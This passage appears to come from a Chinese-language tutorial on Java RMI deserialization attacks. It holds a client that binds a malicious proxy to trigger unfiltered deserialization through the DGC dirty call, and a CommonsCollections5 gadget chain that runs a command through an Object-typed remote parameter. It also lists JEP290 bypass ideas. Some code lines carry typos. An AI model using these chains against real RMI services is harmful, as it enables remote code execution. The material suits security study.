这里在上边会把LiveRef对象还原,LiveRef对象中存了我们序列化进去的ip和端口,之后会调用DGCClient#registerRefs

1
2
3
4
5
6
7
tatic void registerRefs(Endpoint var0, List<LiveRef> var1) {
DGCClient.EndpointEntry var2;
do {
var2 = DGCClient.EndpointEntry.lookup(var0);
} while(!var2.registerRefs(var1));

}

var2这里转回来的是一个DGCClient对象,里边同样封装了我们的端口信息,接着看到registerRefs方法中的this.makeDirtyCall(var2, var3);

这里会调到DGCClient#makeDirtyCall,并把var2传进去,var2里封装了我们的endpoint信息

1
Lease var7 = this.dgc.dirty(var4, var2, new Lease(DGCClient.vmid, DGCClient.leaseValue));

这里会进到dirty方法中,var4是我们传进去的ObjID对象,var1是一个HashSet对象,里边存了我们的Endpoint信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();

这里wirteObject后,会用invoke将数据发出去,接下来从socket连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置filter,所以这里可以直接导致注册中心rce,所以我们可以伪造一个socket连接并把我们恶意序列化的对象发过去

对应客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


public class Client {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {

Registry reg = LocateRegistry.getRegistry("127.0.0.1",7777);
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("hello",proxy);
}
}

用Object绕JEP290限制

JEP290只是为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器,在RMI客户端和服务端在通信时参数传递这块是没有做处理的,而参数传递也是基于序列化数据传输,那么如果参数是泛型的payload,传输依然会有问题。先把接口都新增一个sayPayload的方法,参数都是Object类型的

1
2
3
4
5
6
import java.rmi.Remote;

public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.sRemoteException;
public Object sayPayload(Object from) throws java.rmi.RemoteException;
}

在把服务端HelloImpl代码改下,去实现这个方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super();
}

public String sayHello(String from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return "sayHello";
}

public Object sayPayload(Object from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return null;
}
}

客户端在调用这个sayPayload方法时直接传payload看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class HelloClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
HelloInterface hello = (HelloInterface) registry.lookup("hello1");

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);

hello.sayPayload(poc);
} catch (Exception e) {
e.printStackTrace();
}
}
}

执行后服务端计算器直接弹出,如果把这个payload作为sayPayload方法的返回值 客户端计算器也会弹出。

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
marshalValue:290, UnicastRef (sun.rmi.server)
dispatch:367, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 316535884 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

在实际使用场景很少有参数是Object类型的,而攻击者可以完全操作客户端,因此可以用恶意对象替换从Object类派生的参数(例如String),具体有如下四种bypass的思路

  • 将java.rmi包的代码复制到新包,并在新包中修改相应的代码
  • 将调试器附加到正在运行的客户端,并在序列化之前替换这些对象
  • 使用诸如Javassist这样的工具修改字节码
  • 通过实现代理替换网络流上已经序列化的对象

通过RASP hook住java.rmi.server.RemoteObjectInvocationHandler类的InvokeRemoteMethod方法的第三个参数非Object的改为Object的gadget。不熟悉RASP的先要去了解下。

我这里使用CommonsCollections5这条链,Hook invokeRemoteMethod函数。